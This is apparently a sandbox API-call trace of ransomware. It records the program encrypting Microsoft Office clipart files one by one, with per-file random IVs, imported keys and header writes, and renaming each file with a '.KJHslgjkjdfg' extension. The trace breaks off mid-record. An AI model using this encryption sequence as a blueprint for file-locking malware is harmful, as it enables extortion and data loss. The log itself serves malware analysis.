[0249.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.kjhslgjkjdfg")) returned 1 [0249.565] CloseHandle (hObject=0x130) returned 1 [0249.565] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1 [0249.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.566] GetProcessHeap () returned 0x2ef0000 [0249.566] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.566] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.566] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.586] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.586] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.586] GetProcessHeap () returned 0x2ef0000 [0249.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.587] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf74, lpOverlapped=0x0) returned 1 [0249.588] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80, dwBufLen=0xf80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80) returned 1 [0249.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.588] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf80, lpOverlapped=0x0) returned 1 [0249.588] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.588] SetEndOfFile (hFile=0x130) returned 1 [0249.591] GetProcessHeap () returned 0x2ef0000 [0249.591] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.591] GetProcessHeap () returned 0x2ef0000 [0249.591] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.kjhslgjkjdfg")) returned 1 [0249.593] CloseHandle (hObject=0x130) returned 1 [0249.606] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1 [0249.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.608] GetProcessHeap () returned 0x2ef0000 [0249.608] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.608] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.608] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.610] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.611] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.611] GetProcessHeap () returned 0x2ef0000 [0249.611] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.611] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.611] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.611] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.611] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.611] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.612] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15bc, lpOverlapped=0x0) returned 1 [0249.613] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15c0) returned 1 [0249.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.613] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15c0, lpOverlapped=0x0) returned 1 [0249.613] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.613] SetEndOfFile (hFile=0x130) returned 1 [0249.617] GetProcessHeap () returned 0x2ef0000 [0249.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.617] GetProcessHeap () returned 0x2ef0000 [0249.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.kjhslgjkjdfg")) returned 1 [0249.619] CloseHandle (hObject=0x130) returned 1 [0249.619] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1 [0249.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.620] GetProcessHeap () returned 0x2ef0000 [0249.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.621] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.621] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.623] GetProcessHeap () returned 0x2ef0000 [0249.623] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.623] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.623] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.624] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.624] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.624] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.624] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.624] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.624] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.624] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1da8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1da8, lpOverlapped=0x0) returned 1 [0249.625] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1db0) returned 1 [0249.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1db0, lpOverlapped=0x0) returned 1 [0249.626] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] SetEndOfFile (hFile=0x130) returned 1 [0249.628] GetProcessHeap () returned 0x2ef0000 [0249.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.628] GetProcessHeap () returned 0x2ef0000 [0249.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.kjhslgjkjdfg")) returned 1 [0249.630] CloseHandle (hObject=0x130) returned 1 [0249.630] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1 [0249.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.632] GetProcessHeap () returned 0x2ef0000 [0249.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.635] GetProcessHeap () returned 0x2ef0000 [0249.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.635] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.635] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.635] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7dc, lpOverlapped=0x0) returned 1 [0249.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e0) returned 1 [0249.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.636] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e0, lpOverlapped=0x0) returned 1 [0249.636] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.636] SetEndOfFile (hFile=0x130) returned 1 [0249.638] GetProcessHeap () returned 0x2ef0000 [0249.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.638] GetProcessHeap () returned 0x2ef0000 [0249.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.kjhslgjkjdfg")) returned 1 [0249.640] CloseHandle (hObject=0x130) returned 1 [0249.640] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, 